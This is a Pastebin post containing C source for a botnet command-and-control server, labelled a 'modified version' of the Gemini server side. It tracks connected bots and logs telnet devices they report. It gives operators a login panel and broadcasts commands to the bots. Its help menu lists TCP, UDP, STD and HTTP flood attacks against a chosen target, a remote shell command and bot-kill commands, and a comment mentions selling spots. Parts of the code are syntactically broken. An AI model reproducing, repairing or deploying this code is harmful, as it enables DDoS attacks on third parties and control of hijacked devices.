Advertisement
frogscripts

Gemini server side "modified version"

Aug 2nd, 2017
127
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 23.07 KB | None | 0 0
  1. // Modified version from frog.
  2. // This will better works then all the other server side shit.
  3. // Build 1
  4.  
  5. #include <stdio.h>
  6. #include <stdlib.h>
  7. #include <stdint.h>
  8. #include <inttypes.h>
  9. #include <string.h>
  10. #include <sys/types.h>
  11. #include <sys/socket.h>
  12. #include <netdb.h>
  13. #include <unistd.h>
  14. #include <time.h>
  15. #include <fcntl.h>
  16. #include <sys/epoll.h>
  17. #include <errno.h>
  18. #include <pthread.h>
  19. #include <signal.h>
  20. #include <arpa/inet.h>
  21. #define MAXFDS 1000000
  22.  
  23. struct login_info {
  24.     char username[100];
  25.     char password[100];
  26. };
  27. static struct login_info accounts[100]; // maximum users allowed in login.txt *edit this if you are selling spots*
  28. struct clientdata_t {
  29.         uint32_t ip;
  30.         char connected;
  31. } clients[MAXFDS];
  32. struct telnetdata_t {
  33.     int connected;
  34. } managements[MAXFDS];
  35. struct args {
  36.     int sock;
  37.     struct sockaddr_in cli_addr;
  38. };
  39. static volatile FILE *telFD;
  40. static volatile FILE *fileFD;
  41. static volatile int epollFD = 0;
  42. static volatile int listenFD = 0;
  43. static volatile int OperatorsConnected = 0;
  44. static volatile int TELFound = 0;
  45. static volatile int scannerreport;
  46.  
  47. int fdgets(unsigned char *buffer, int bufferSize, int fd) {
  48.     int total = 0, got = 1;
  49.     while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  50.     return got;
  51. }
  52. void trim(char *str) {
  53.     int i;
  54.     int begin = 0;
  55.     int end = strlen(str) - 1;
  56.     while (isspace(str[begin])) begin++;
  57.     while ((end >= begin) && isspace(str[end])) end--;
  58.     for (i = begin; i <= end; i++) str[i - begin] = str[i];
  59.     str[i - begin] = '\0';
  60. }
  61. static int make_socket_non_blocking (int sfd) {
  62.     int flags, s;
  63.     flags = fcntl (sfd, F_GETFL, 0);
  64.     if (flags == -1) {
  65.         perror ("fcntl");
  66.         return -1;
  67.     }
  68.     flags |= O_NONBLOCK;
  69.     s = fcntl (sfd, F_SETFL, flags);
  70.     if (s == -1) {
  71.         perror ("fcntl");
  72.         return -1;
  73.     }
  74.     return 0;
  75. }
  76. static int create_and_bind (char *port) {
  77.     struct addrinfo hints;
  78.     struct addrinfo *result, *rp;
  79.     int s, sfd;
  80.     memset (&hints, 0, sizeof (struct addrinfo));
  81.     hints.ai_family = AF_UNSPEC;
  82.     hints.ai_socktype = SOCK_STREAM;
  83.     hints.ai_flags = AI_PASSIVE;
  84.     s = getaddrinfo (NULL, port, &hints, &result);
  85.     if (s != 0) {
  86.         fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  87.         return -1;
  88.     }
  89.     for (rp = result; rp != NULL; rp = rp->ai_next) {
  90.         sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  91.         if (sfd == -1) continue;
  92.         int yes = 1;
  93.         if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  94.         s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  95.         if (s == 0) {
  96.             break;
  97.         }
  98.         close (sfd);
  99.     }
  100.     if (rp == NULL) {
  101.         fprintf (stderr, "Could not bind\n");
  102.         return -1;
  103.     }
  104.     freeaddrinfo (result);
  105.     return sfd;
  106. }
  107. void broadcast(char *msg, int us, char *sender)
  108. {
  109.         int sendMGM = 1;
  110.         if(strcmp(msg, "PING") == 0) sendMGM = 0;
  111.         char *wot = malloc(strlen(msg) + 10);
  112.         memset(wot, 0, strlen(msg) + 10);
  113.         strcpy(wot, msg);
  114.         trim(wot);
  115.         time_t rawtime;
  116.         struct tm * timeinfo;
  117.         time(&rawtime);
  118.         timeinfo = localtime(&rawtime);
  119.         char *timestamp = asctime(timeinfo);
  120.         trim(timestamp);
  121.         int i;
  122.         for(i = 0; i < MAXFDS; i++)
  123.         {
  124.                 if(i == us || (!clients[i].connected &&  (sendMGM == 0 || !managements[i].connected))) continue;
  125.                 if(sendMGM && managements[i].connected)
  126.                 {
  127.                         send(i, "\x1b[35m", 5, MSG_NOSIGNAL);
  128.                         send(i, sender, strlen(sender), MSG_NOSIGNAL);
  129.                         send(i, ": ", 2, MSG_NOSIGNAL);
  130.                 }
  131.                 printf("sent to fd: %d\n", i);
  132.                 send(i, msg, strlen(msg), MSG_NOSIGNAL);
  133.                 if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[31m> \x1b[0m", 13, MSG_NOSIGNAL);
  134.                 else send(i, "\n", 1, MSG_NOSIGNAL);
  135.         }
  136.         free(wot);
  137. }
  138. void *BotEventLoop(void *useless) {
  139.     struct epoll_event event;
  140.     struct epoll_event *events;
  141.     int s;
  142.     events = calloc (MAXFDS, sizeof event);
  143.     while (1) {
  144.         int n, i;
  145.         n = epoll_wait (epollFD, events, MAXFDS, -1);
  146.         for (i = 0; i < n; i++) {
  147.             if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) {
  148.                 clients[events[i].data.fd].connected = 0;
  149.                 close(events[i].data.fd);
  150.                 continue;
  151.             }
  152.             else if (listenFD == events[i].data.fd) {
  153.                while (1) {
  154.                 struct sockaddr in_addr;
  155.                 socklen_t in_len;
  156.                 int infd, ipIndex;
  157.  
  158.                 in_len = sizeof in_addr;
  159.                 infd = accept (listenFD, &in_addr, &in_len);
  160.                 if (infd == -1) {
  161.                     if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  162.                     else {
  163.                         perror ("accept");
  164.                         break;
  165.                          }
  166.                 }
  167.  
  168.                 clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  169.                 int dup = 0;
  170.                 for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
  171.                     if(!clients[ipIndex].connected || ipIndex == infd) continue;
  172.                     if(clients[ipIndex].ip == clients[infd].ip) {
  173.                         dup = 1;
  174.                         break;
  175.                     }}
  176.                 if(dup) {
  177.                     if(send(infd, "!* LOLGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  178.                     close(infd);
  179.                     continue;
  180.                 }
  181.                 s = make_socket_non_blocking (infd);
  182.                 if (s == -1) { close(infd); break; }
  183.                 event.data.fd = infd;
  184.                 event.events = EPOLLIN | EPOLLET;
  185.                 s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  186.                 if (s == -1) {
  187.                     perror ("epoll_ctl");
  188.                     close(infd);
  189.                     break;
  190.                 }
  191.                 clients[infd].connected = 1;
  192.             }
  193.             continue;
  194.         }
  195.         else {
  196.             int datafd = events[i].data.fd;
  197.             struct clientdata_t *client = &(clients[datafd]);
  198.             int done = 0;
  199.             client->connected = 1;
  200.             while (1) {
  201.                 ssize_t count;
  202.                 char buf[2048];
  203.                 memset(buf, 0, sizeof buf);
  204.                 while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, datafd)) > 0) {
  205.                     if(strstr(buf, "\n") == NULL) { done = 1; break; }
  206.                     trim(buf);
  207.                     if(strcmp(buf, "PING") == 0) {
  208.                         if(send(datafd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  209.                         continue;
  210.                     }
  211.                     if(strstr(buf, "REPORT ") == buf) {
  212.                         char *line = strstr(buf, "REPORT ") + 7;
  213.                         fprintf(telFD, "%s\n", line);
  214.                         fflush(telFD);
  215.                         TELFound++;
  216.                         continue;
  217.                     }
  218.                     if(strstr(buf, "PROBING") == buf) {
  219.                         char *line = strstr(buf, "PROBING");
  220.                         scannerreport = 1;
  221.                         continue;
  222.                     }
  223.                     if(strstr(buf, "REMOVING PROBE") == buf) {
  224.                         char *line = strstr(buf, "REMOVING PROBE");
  225.                         scannerreport = 0;
  226.                         continue;
  227.                     }
  228.                     if(strcmp(buf, "PONG") == 0) {
  229.                         continue;
  230.                     }
  231.                     printf("buf: \"%s\"\n", buf);
  232.                 }
  233.                 if (count == -1) {
  234.                     if (errno != EAGAIN) {
  235.                         done = 1;
  236.                     }
  237.                     break;
  238.                 }
  239.                 else if (count == 0) {
  240.                     done = 1;
  241.                     break;
  242.                 }
  243.             if (done) {
  244.                 client->connected = 0;
  245.                 close(datafd);
  246. }}}}}}
  247. unsigned int BotsConnected() {
  248.     int i = 0, total = 0;
  249.     for(i = 0; i < MAXFDS; i++) {
  250.         if(!clients[i].connected) continue;
  251.         total++;
  252.     }
  253.     return total;
  254. }
  255. void *TitleWriter(void *sock) {
  256.     int datafd = (int)sock;
  257.     char string[2048];
  258.     while(1) {
  259.         memset(string, 0, 2048);
  260.         sprintf(string, "%c]0;Frog - Boatz: %d | Other Devices: %d | Pilots: %d%c", '\033', BotsConnected(), TELFound, OperatorsConnected, '\007');
  261.         if(send(datafd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  262.         sleep(2);
  263. }}
  264. int Find_Login(char *str) {
  265.     FILE *fp;
  266.     int line_num = 0;
  267.     int find_result = 0, find_line=0;
  268.     char temp[512];
  269.  
  270.     if((fp = fopen("login.txt", "r")) == NULL){
  271.         return(-1);
  272.     }
  273.     while(fgets(temp, 512, fp) != NULL){
  274.         if((strstr(temp, str)) != NULL){
  275.             find_result++;
  276.             find_line = line_num;
  277.         }
  278.         line_num++;
  279.     }
  280.     if(fp)
  281.         fclose(fp);
  282.     if(find_result == 0)return 0;
  283.     return find_line;
  284. }
  285. void *BotWorker(void *sock) {
  286.     int datafd = (int)sock;
  287.     int find_line;
  288.     OperatorsConnected++;
  289.     pthread_t title;
  290.     char buf[2048];
  291.     char* username;
  292.     char* password;
  293.     memset(buf, 0, sizeof buf);
  294.     char botnet[2048];
  295.     memset(botnet, 0, 2048);
  296.     char botcount [2048];
  297.     memset(botcount, 0, 2048);
  298.     char statuscount [2048];
  299.     memset(statuscount, 0, 2048);
  300.  
  301.     FILE *fp;
  302.     int i=0;
  303.     int c;
  304.     fp=fopen("login.txt", "r");
  305.     while(!feof(fp)) {
  306.         c=fgetc(fp);
  307.         ++i;
  308.     }
  309.     int j=0;
  310.     rewind(fp);
  311.     while(j!=i-1) {
  312.         fscanf(fp, "%s %s", accounts[j].username, accounts[j].password);
  313.         ++j;
  314.     }
  315.  
  316.         if(send(datafd, "\x1b[35mUSERNAME:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  317.         if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  318.         trim(buf);
  319.         char* nickstring;
  320.         sprintf(accounts[find_line].username, buf);
  321.         nickstring = ("%s", buf);
  322.         find_line = Find_Login(nickstring);
  323.         if(strcmp(nickstring, accounts[find_line].username) == 0){
  324.         if(send(datafd, "\x1b[35mPASSWORD:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  325.         if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  326.  
  327.         char clearscreen [2048];
  328.         memset(clearscreen, 0, 2048);
  329.         sprintf(clearscreen, "\033[2J\033[1;1H");
  330.         if(send(datafd, clearscreen,         strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  331.  
  332.         trim(buf);
  333.         if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  334.         memset(buf, 0, 2048);
  335.         goto Banner;
  336.         }
  337.         failed:
  338.         if(send(datafd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  339.         char failed_line1[100];
  340.         char failed_line2[100];
  341.         char failed_line3[100];
  342.         char failed_line4[100];
  343.         char failed_line5[100];
  344.         char failed_line6[100];
  345.         char failed_line7[100];
  346.         char failed_line8[100];
  347.         char failed_line9[100];
  348.         char failed_line10[100];
  349.         char failed_line11[100];
  350.         char failed_line12[100];
  351.  
  352.         sprintf(failed_line1, "\x1b[1;31m              _________                   _______  \r\n");
  353.         sprintf(failed_line2, "\x1b[1;33m    _-----____/   ========================|______| \r\n");
  354.         sprintf(failed_line3, "\x1b[1;32m    |           ______________/                    \r\n");
  355.         sprintf(failed_line4, "\x1b[1;34m    |    ___--_/(_)       ^                        \r\n");
  356.         sprintf(failed_line5, "\x1b[1;35m    |___ ---                                       \r\n");
  357.         sprintf(failed_line6, "\x1b[1;31mI'M GONNA GIVE YOU TO THE COUNT OF TEN TO GET YOUR, UGLY\r\n");
  358.         sprintf(failed_line7, "\x1b[1;31mYELLA, NO GOOD KEESTER OFF MY PROPERTY, BEFORE I PUMP\r\n");
  359.         sprintf(failed_line8, "\x1b[1;31mYOUR GUTS FULL'A LEAD...\r\n");
  360.         sprintf(failed_line9, "\x1b[1;31mONE ...\r\n");
  361.         sprintf(failed_line10,"\x1b[1;31mTWO ...\r\n");
  362.         sprintf(failed_line11,"\x1b[1;31mTEN ...\r\n");
  363.         sprintf(failed_line12,"\x1b[1;31mKEEP THE CHANGE YAH FILTHY ANIMAL.\r\n");
  364.         if(send(datafd, failed_line1, strlen(failed_line1), MSG_NOSIGNAL) == -1) goto end;
  365.         if(send(datafd, failed_line2, strlen(failed_line2), MSG_NOSIGNAL) == -1) goto end;
  366.         if(send(datafd, failed_line3, strlen(failed_line3), MSG_NOSIGNAL) == -1) goto end;
  367.         if(send(datafd, failed_line4, strlen(failed_line4), MSG_NOSIGNAL) == -1) goto end;
  368.         if(send(datafd, failed_line5, strlen(failed_line5), MSG_NOSIGNAL) == -1) goto end;
  369.         if(send(datafd, failed_line6, strlen(failed_line6), MSG_NOSIGNAL) == -1) goto end;
  370.         if(send(datafd, failed_line7, strlen(failed_line7), MSG_NOSIGNAL) == -1) goto end;
  371.         if(send(datafd, failed_line8, strlen(failed_line8), MSG_NOSIGNAL) == -1) goto end;
  372.         sleep(2);
  373.         if(send(datafd, failed_line9, strlen(failed_line9), MSG_NOSIGNAL) == -1) goto end;
  374.         sleep(1);
  375.         if(send(datafd, failed_line10, strlen(failed_line10), MSG_NOSIGNAL) == -1) goto end;
  376.         sleep(1);
  377.         if(send(datafd, failed_line11, strlen(failed_line11), MSG_NOSIGNAL) == -1) goto end;
  378.         sleep(1);
  379.         if(send(datafd, failed_line12, strlen(failed_line12), MSG_NOSIGNAL) == -1) goto end;
  380.         sleep(1);
  381.         goto end;
  382.  
  383.         Banner:
  384.         pthread_create(&title, NULL, &TitleWriter, sock);
  385.         char ascii_banner_line1   [5000];
  386.         char ascii_banner_line2   [5000];
  387.         char ascii_banner_line3   [5000];
  388.         char ascii_banner_line4   [5000];
  389.         char ascii_banner_line5   [5000];
  390.         char ascii_banner_line6   [5000];
  391.         char ascii_banner_line7   [5000];
  392.         char ascii_banner_line8   [5000];
  393.         char ascii_banner_line9   [5000];
  394.         char ascii_banner_line10  [5000];
  395.         char ascii_banner_line11  [5000];
  396.         char ascii_banner_line12  [5000];
  397.         char ascii_banner_line13  [5000];
  398.         char ascii_banner_line14  [5000];
  399.         char welcome_line1        [5000];
  400.         char welcome_line2        [5000];
  401.        
  402.         sprintf(ascii_banner_line1, "\x1b[1;37m**********************************************\r\n");
  403.         sprintf(ascii_banner_line2, "\x1b[1;37m******                                  ******\r\n");
  404.         sprintf(ascii_banner_line3, "\x1b[1;37m*****\x1b[1;35m     +-+-  ----+-+   +-  +-+ +-+    \x1b[1;37m*****\r\n");
  405.         sprintf(ascii_banner_line4, "\x1b[1;37m****\x1b[1;34m      +� �  � � +�  - � � � � +-+     \x1b[1;37m****\r\n");
  406.         sprintf(ascii_banner_line5, "\x1b[1;37m*****\x1b[1;36m     +-++-+- - +-+   +-  +-+ +-+    \x1b[1;37m*****\r\n");
  407.         sprintf(ascii_banner_line6, "\x1b[1;37m******                                  ******\r\n");
  408.         sprintf(ascii_banner_line7, "\x1b[1;37m**********************************************\r\n");
  409.         sprintf(welcome_line1,      "\x1b[1;37m[\x1b[1;36m-\x1b[1;37m] \x1b[1;35mWHaLcOmE\x1b[1;37m: \x1b[1;31m%s ", accounts[find_line].username);
  410.         sprintf(welcome_line2,      "\x1b[1;37m[\x1b[1;36m-\x1b[1;37m] \x1b[1;35mBOTS\x1b[1;37m: \x1b[1;31m%d \x1b[1;37m[\x1b[1;36m-\x1b[1;37m] \x1b[1;35mPilots\x1b[1;37m: \x1b[1;31m%d\r\n", BotsConnected(), OperatorsConnected);
  411.        
  412.         if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  413.         if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  414.         if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  415.         if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  416.         if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  417.         if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  418.         if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  419.         if(send(datafd, welcome_line1,      strlen(welcome_line1),      MSG_NOSIGNAL) == -1) goto end;
  420.         if(send(datafd, welcome_line2,      strlen(welcome_line2),      MSG_NOSIGNAL) == -1) goto end;
  421.         while(1) {
  422.         if(send(datafd, "\x1b[1;31m-> \x1b[1;36m", 12, MSG_NOSIGNAL) == -1) goto end;
  423.         break;
  424.         }
  425.         pthread_create(&title, NULL, &TitleWriter, sock);
  426.         managements[datafd].connected = 1;
  427.  
  428.         while(fdgets(buf, sizeof buf, datafd) > 0) {  
  429.         if(strstr(buf, ".bots") || strstr(buf, ".BOTS")) }
  430.                 char botcount [5000];
  431.                 memset(botcount, 0, 5000);
  432.                 sprintf(botcount, "\x1b[1;36mBOTS: %d | USERS: %d\r\n", BotsConnected(), OperatorsConnected);
  433.                 if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  434.                 while(1) {
  435.                 if(send(datafd, "\x1b[1;31m-> \x1b[1;36m", 12, MSG_NOSIGNAL) == -1) goto end;
  436.                 break;
  437.                 }
  438.                 continue;
  439.             }
  440.             if(strstr(buf, ".help")) {
  441.                 pthread_create(&title, NULL, &TitleWriter, sock);
  442.                 char helpline1  [5000];
  443.                 char helpline2  [5000];
  444.                 char helpline3  [5000];
  445.                 char helpline4  [5000];
  446.                 char helpline5  [5000];
  447.                 char helpline6  [5000];
  448.                 char helpline7  [5000];
  449.                 char helpline8  [5000];
  450.                 char helpline9  [5000];
  451.                 char helpline10 [5000];
  452.                 char helpline11 [5000];
  453.                 char helpline12 [5000];
  454.                 char helpline13 [5000];
  455.  
  456.                 sprintf(helpline1,  "\x1b[1;31m~ [ CLIENTSIDE COMMANDS ] ~\r\n");
  457.                 sprintf(helpline2,  "\x1b[1;32m@ \x1b[1;32m!* TCP <TARGET> <PORT> <TIME> <NETMASK> <METHOD> <PACKETSIZE> <INTERVAL>\r\n");
  458.                 sprintf(helpline3,  "\x1b[1;33m@ \x1b[1;33m!* UDP <TARGET> <PORT> <TIME> <NETMASK> <PACKETSIZE> <INTERVAL>\r\n");
  459.                 sprintf(helpline4,  "\x1b[1;34m@ \x1b[1;34m!* STD <TARGET> <PORT> <TIME>\r\n");
  460.                 sprintf(helpline5,  "\x1b[1;35m@ \x1b[1;35m!* HTTP <POST/GET> <IP> <PORT> <SLASH> <TIME> <PACKETSIZE>\r\n");
  461.                 sprintf(helpline6,  "\x1b[1;36m@ \x1b[1;36m!* KILLATTK\r\n");
  462.                 sprintf(helpline7,  "\x1b[1;37m@ \x1b[1;37m!* SH\r\n");
  463.                 sprintf(helpline8,  "\x1b[1;31m~ [ SERVERSIDE COMMANDS ] ~\r\n");
  464.                 sprintf(helpline8,  "\x1b[1;32m@ \x1b[1;32m.killattk\r\n");
  465.                 sprintf(helpline10, "\x1b[1;33m@ \x1b[1;33m.botkill\r\n");
  466.                 sprintf(helpline11, "\x1b[1;34m@ \x1b[1;34m.logout\r\n");
  467.                 sprintf(helpline12, "\x1b[1;35m@ \x1b[1;35m.clear\r\n");
  468.                 sprintf(helpline13, "\x1b[1;36m@ \x1b[1;36m.bots\r\n");
  469.                
  470.  
  471.                 if(send(datafd, helpline1,  strlen(helpline1),  MSG_NOSIGNAL) == -1) goto end;
  472.                 if(send(datafd, helpline2,  strlen(helpline2),  MSG_NOSIGNAL) == -1) goto end;
  473.                 if(send(datafd, helpline3,  strlen(helpline3),  MSG_NOSIGNAL) == -1) goto end;
  474.                 if(send(datafd, helpline4,  strlen(helpline4),  MSG_NOSIGNAL) == -1) goto end;
  475.                 if(send(datafd, helpline5,  strlen(helpline5),  MSG_NOSIGNAL) == -1) goto end;
  476.                 if(send(datafd, helpline6,  strlen(helpline6),  MSG_NOSIGNAL) == -1) goto end;
  477.                 if(send(datafd, helpline7,  strlen(helpline7),  MSG_NOSIGNAL) == -1) goto end;
  478.                 if(send(datafd, helpline8,  strlen(helpline8),  MSG_NOSIGNAL) == -1) goto end;
  479.                 if(send(datafd, helpline9,  strlen(helpline9),  MSG_NOSIGNAL) == -1) goto end;
  480.                 if(send(datafd, helpline10, strlen(helpline10), MSG_NOSIGNAL) == -1) goto end;
  481.                 if(send(datafd, helpline11, strlen(helpline11), MSG_NOSIGNAL) == -1) goto end;
  482.                 if(send(datafd, helpline12, strlen(helpline12), MSG_NOSIGNAL) == -1) goto end;
  483.                 if(send(datafd, helpline13, strlen(helpline13), MSG_NOSIGNAL) == -1) goto end;
  484.                 pthread_create(&title, NULL, &TitleWriter, sock);
  485.                 while(1) {
  486.                 if(send(datafd, "\x1b[1;31m-> \x1b[1;36m", 12, MSG_NOSIGNAL) == -1) goto end;
  487.                 break;
  488.                 }
  489.                 continue;
  490.             }
  491.             if(strstr(buf, ".botkill") || strstr(buf, ".kill")) {
  492.                 char gtfomynet [2048];
  493.                 memset(gtfomynet, 0, 2048);
  494.                 sprintf(gtfomynet, "!* BOTKILL\r\n");
  495.                 broadcast(buf, datafd, gtfomynet);
  496.                 while(1) {
  497.                 if(send(datafd, "\x1b[1;31m-> \x1b[1;36m", 12, MSG_NOSIGNAL) == -1) goto end;
  498.                 break;
  499.                 }
  500.                 continue;
  501.             }
  502.             if(strstr(buf, ".killattk")) {
  503.                 char killattack [2048];
  504.                 memset(killattack, 0, 2048);
  505.                 sprintf(killattack, "!* KILLATTK\r\n");
  506.                 broadcast(buf, datafd, killattack);
  507.                 while(1) {
  508.                 if(send(datafd, "\x1b[1;31m-> \x1b[1;36m", 12, MSG_NOSIGNAL) == -1) goto end;
  509.                 break;
  510.                 }
  511.                 continue;
  512.             }
  513.             if(strstr(buf, ".clear")) {
  514.                 char clearscreen [2048];
  515.                 memset(clearscreen, 0, 2048);
  516.                 sprintf(clearscreen, "\033[2J\033[1;1H");
  517.                 if(send(datafd, clearscreen,        strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  518.                 if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  519.                 if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  520.                 if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  521.                 if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  522.                 if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  523.                 if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  524.                 if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  525.                 if(send(datafd, welcome_line1,      strlen(welcome_line1),      MSG_NOSIGNAL) == -1) goto end;
  526.                 if(send(datafd, welcome_line2,      strlen(welcome_line2),      MSG_NOSIGNAL) == -1) goto end;
  527.                 while(1) {
  528.                 if(send(datafd, "\x1b[1;31m-> \x1b[1;36m", 12, MSG_NOSIGNAL) == -1) goto end;
  529.                 break;
  530.                 }
  531.                 continue;
  532.             }
  533.             if(strstr(buf, ".logout")) {
  534.                 char logoutmessage [2048];
  535.                 memset(logoutmessage, 0, 2048);
  536.                 sprintf(logoutmessage, "BYE, %s", accounts[find_line].username);
  537.                 if(send(datafd, logoutmessage, strlen(logoutmessage), MSG_NOSIGNAL) == -1)goto end;
  538.                 sleep(2);
  539.                 goto end;
  540.             }
  541.  
  542.             trim(buf);
  543.             if(send(datafd, "\x1b[1;31m-> \x1b[1;36m", 11, MSG_NOSIGNAL) == -1) goto end;
  544.             if(strlen(buf) == 0) continue;
  545.             printf("%s: \"%s\"\n",accounts[find_line].username, buf);
  546.  
  547.             FILE *LogFile;
  548.             LogFile = fopen("server.log", "a");
  549.             time_t now;
  550.             struct tm *gmt;
  551.             char formatted_gmt [50];
  552.             char lcltime[50];
  553.             now = time(NULL);
  554.             gmt = gmtime(&now);
  555.             strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt );
  556.             fprintf(LogFile, "[%s] %s: %s\n", formatted_gmt, accounts[find_line].username, buf);
  557.             fclose(LogFile);
  558.             broadcast(buf, datafd, accounts[find_line].username);
  559.             memset(buf, 0, 2048);
  560.         }
  561.  
  562.         end:
  563.         managements[datafd].connected = 0;
  564.         close(datafd);
  565.         OperatorsConnected--;
  566. }
  567. void *BotListener(int port) {
  568.     int sockfd, newsockfd;
  569.     socklen_t clilen;
  570.     struct sockaddr_in serv_addr, cli_addr;
  571.     sockfd = socket(AF_INET, SOCK_STREAM, 0);
  572.     if (sockfd < 0) perror("ERROR opening socket");
  573.     bzero((char *) &serv_addr, sizeof(serv_addr));
  574.     serv_addr.sin_family = AF_INET;
  575.     serv_addr.sin_addr.s_addr = INADDR_ANY;
  576.     serv_addr.sin_port = htons(port);
  577.     if (bind(sockfd, (struct sockaddr *) &serv_addr,  sizeof(serv_addr)) < 0) perror("ERROR on binding");
  578.     listen(sockfd,5);
  579.     clilen = sizeof(cli_addr);
  580.     while(1) {
  581.         newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  582.         if (newsockfd < 0) perror("ERROR on accept");
  583.         pthread_t thread;
  584.         pthread_create( &thread, NULL, &BotWorker, (void *)newsockfd);
  585. }}
  586. int main (int argc, char *argv[], void *sock) {
  587.         signal(SIGPIPE, SIG_IGN);
  588.         int s, threads, port;
  589.         struct epoll_event event;
  590.         //system("");
  591.         if (argc != 4) {
  592.             fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  593.             exit (EXIT_FAILURE);
  594.         }
  595.         port = atoi(argv[3]);
  596.         telFD = fopen("telnet.txt", "a+");
  597.         threads = atoi(argv[2]);
  598.         listenFD = create_and_bind (argv[1]);
  599.         if (listenFD == -1) abort ();
  600.         s = make_socket_non_blocking (listenFD);
  601.         if (s == -1) abort ();
  602.         s = listen (listenFD, SOMAXCONN);
  603.         if (s == -1) {
  604.             perror ("listen");
  605.             abort ();
  606.         }
  607.         epollFD = epoll_create1 (0);
  608.         if (epollFD == -1) {
  609.             perror ("epoll_create");
  610.             abort ();
  611.         }
  612.         event.data.fd = listenFD;
  613.         event.events = EPOLLIN | EPOLLET;
  614.         s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  615.         if (s == -1) {
  616.             perror ("epoll_ctl");
  617.             abort ();
  618.         }
  619.         pthread_t thread[threads + 2];
  620.         while(threads--) {
  621.             pthread_create( &thread[threads + 1], NULL, &BotEventLoop, (void *) NULL);
  622.         }
  623.         pthread_create(&thread[0], NULL, &BotListener, port);
  624.         while(1) {
  625.             broadcast("PING", -1, "LEL");
  626.             sleep(60);
  627.         }
  628.         close (listenFD);
  629.         return EXIT_SUCCESS;
  630. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement